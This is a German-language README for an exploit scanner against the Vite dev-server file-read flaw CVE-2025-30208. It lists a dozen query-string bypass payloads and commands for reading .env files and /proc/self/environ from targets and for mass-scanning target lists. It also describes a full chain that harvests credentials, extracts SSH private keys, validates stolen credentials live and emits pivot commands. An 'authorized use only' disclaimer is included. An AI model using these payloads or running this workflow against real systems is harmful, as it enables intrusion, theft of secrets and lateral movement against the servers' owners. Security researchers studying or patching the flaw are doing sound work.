
Exploit-Scanner für CVE-2025-30208 (beliebiges Auslesen von Dateien in Vite) mit Multi-Varianten-Umgehungsdetektion, Credential-Harvesting, SSH-Schlüsselextraktion und strukturierter Berichterstattung für autorisierte Penetrationstests.
CVE: CVE-2025-30208
GHSA: GHSA-x574-m823-4x7w
Schweregrad: CVSS 5.3 Mittel (netzwerkerreichbarer Dev-Server)
⚠ Nur für autorisierte Sicherheitsengagements.
Die unbefugte Nutzung gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Erlaubnis zum Testen haben, ist illegal.
Der Dev-Server von Vite erlaubt das Ausliefern beliebiger Dateien vom Host-Dateisystem über /@fs/-Anfragen.
Eine fehlende Überprüfung der Query-String-Bereinigung in betroffenen Versionen ermöglicht es einem Angreifer, speziell gestaltete Suffixe anzuhängen, um die Erlaubnisliste zu umgehen und jede Datei zu lesen, auf die der Prozess zugreifen kann – einschließlich .env-Dateien, SSH-Private-Keys, Cloud-Anmeldedaten und /proc-Einträge.
| Branch | Letzte anfällige Version | Behoben |
|---|---|---|
| 6.3.x | 6.3.0 | 6.3.1+ |
| 6.2.x | 6.2.2 | 6.2.3+ |
| 6.1.x | 6.1.1 | 6.1.2+ |
| 6.0.x | 6.0.11 | 6.0.12+ |
| 5.4.x | 5.4.14 | 5.4.15+ |
| 4.5.x | 4.5.9 | 4.5.10+ |
| Name | Suffix / Abfrage | Beschreibung |
|---|---|---|
raw?? | ?raw?? | Nachgestelltes ?? umgeht rawRE |
import&raw?? | ?import&raw?? | ES-Modul + raw kombiniert |
raw? | ?raw? | Einzelnes nachgestelltes ? |
url&raw?? | ?url&raw?? | URL-Modus kombiniert |
raw&url?? | ?raw&url?? | Umgekehrte Parameterreihenfolge |
import&?raw | ?import&?raw | Fehlerhaftes Import-Präfix |
sec-fetch | ?raw + Sec-Fetch-Header | Browser-Script-Kontext |
raw-encoded | ?raw%3f%3f | URL-kodierte Trennzeichen |
double-slash | ?raw??/ | Doppelschrägstrich-Suffix-Bypass (v5) |
pct-all | %3fraw%3f%3f | Vollständig prozentkodierte Abfrage (v5) |
raw-hash | ?raw??# | Fragment-Anker-Bypass (v5) |
wasm-init | ?inline=1.wasm?init | CVE-2025-31125 verwandt (wasm init) |
pip install requests
# oder
pip install -r requirements.txt
python main.py -t https://target.com
python main.py -t https://target.com --full-chain --output /tmp/report
python main.py -t https://target.com --file /app/.env
python main.py -t https://target.com --file /proc/self/environ --save ./environ.txt
python main.py -t https://target.com --stealth --proxy http://127.0.0.1:8080
python main.py -l targets.txt
python main.py -l targets.txt --workers 20 --ports 5173,3000,8080
python main.py -t https://target.com --no-color | tee scan.log
python main.py --version
python -m cve30208 -t https://target.com
| Flag | Standard | Beschreibung |
|---|---|---|
-t/--target | — | Einzelne Ziel-URL |
-l/--lists | — | Datei mit einem Ziel pro Zeile |
--stealth | aus | Zufällige Verzögerungen zwischen Anfragen hinzufügen |
--proxy | — | HTTP/HTTPS-Proxy (http://host:port) |
--timeout | 10 | Timeout pro Anfrage in Sekunden |
--verify | aus | TLS-Zertifikatsprüfung aktivieren |
--file | — | Einen bestimmten Pfad auf dem Zielhost lesen |
--save | — | Inhalt von --file lokal speichern |
--full-chain | an | Vollständige Exploitation-Kette ausführen (Live-Validierung ist Standard) |
--output | — | JSON- + Markdown-Bericht unter diesem Basis-Pfad speichern |
--workers | 10 | Parallele Arbeiter für Massen-Scan |
--ports | siehe unten | Komma-getrennte Ports für Massen-Scan |
--no-color/--plain | aus | ANSI-Farbcodes deaktivieren |
--safe-mode | aus | Geheimniswerte in der Terminalausgabe schwärzen |
--show-secrets | aus | Vollständige Terminal-Geheimnisse anzeigen (überschreibt --safe-mode) |
--version | — | Version anzeigen und beenden |
Standard-Massen-Scan-Ports: 5173, 4173, 3000, 8080, 8000, 4000, 5000, 9000, 80, 443
Wenn --output /tmp/report angegeben wird, schreibt der Scanner:
/tmp/report.json — maschinenlesbare strukturierte Ergebnisse/tmp/report.md — menschenlesbarer Markdown-BerichtDer Massen-Scan gibt immer VULN_COUNT=N in der letzten Zeile aus, um einfache Shell-Scripting zu ermöglichen:
python main.py -l targets.txt | grep '^VULN_COUNT='
Einzelscan-Ausgaben geben am Ende SCAN_STATUS=VULNERABLE|NOT_VULNERABLE für die Automatisierung aus.
cve30208/
├── __init__.py — öffentliche API-Oberfläche
├── __main__.py — Einstiegspunkt für python -m cve30208
├── constants.py — BYPASS, CVE_SIBLING, SECRET_PATTERNS, SSH/Scan-Konstanten
├── ui.py — ANSI-Farbcodes, Spin/NullSpin, Terminal-Hilfsfunktionen
├── utils.py — gemeinsame Helfer (_unescape_js_string)
├── secrets.py — scan_secrets(), parse_env(), parse_environ()
├── ssh.py — extract_ssh_key(), collect_ssh_targets()
├── exploit.py — ExploitResult, ExploitStage (Live-Anmeldedatenvalidierung)
│ enthält eine Check-Registry für einfachere Erweiterung
├── report.py — save_report(), make_md()
└── scanner.py — FR/R-Dataclasses, Scanner, bulk_scan(), main()
main.py — Abwärtskompatibilitäts-Shim
requirements.txt
Der Scanner unterdrückt automatisch wiederholte Artefakte, sodass die Ausgabe sauber bleibt,
selbst wenn HOME gleich /root ist oder dasselbe Geheimnis in mehreren Dateien vorkommt:
| Ebene | Mechanismus |
|---|---|
| Dateisystem-Lesevorgänge | stage_fs normalisiert die SSH-Key-Basisliste mit dict.fromkeys und verwirft doppelte Pfade aus der reads-Warteschlange, bevor eine Ausgabe erzeugt wird. |
| Dateispeicherungen | Scanner._save prüft einen pro-Scan _seen_file_paths-Set; doppelte Pfade geben den bereits gespeicherten FR zurück, ohne erneut an r.files anzuhängen. |
| Geheimnisse | Scanner._save dedupliziert r.secrets global nach (name, value) über alle Dateien hinweg; die Deduplizierung innerhalb einer Datei wird separat in scan_secrets behandelt. |
| SSH-Schlüssel | stage_ssh fasst Schlüssel mit derselben PEM-Signatur (erste _PEM_SIG_LEN Bytes) zusammen, die in mehreren Quelldateien vorkommen. |
| Pivot-Befehle | Pivot-Blöcke werden nach (key_source, host, port) indiziert; identische Kombinationen werden nur einmal ausgegeben. |
Die Zusammenfassungszeile gibt an, wie viele Dateien, Geheimnisse und SSH-Schlüssel als Duplikate unterdrückt wurden, z.B.:
deduped 2 Datei(en), 4 Anmeldedatensätze, 1 SSH-Schlüssel als Duplikate unterdrückt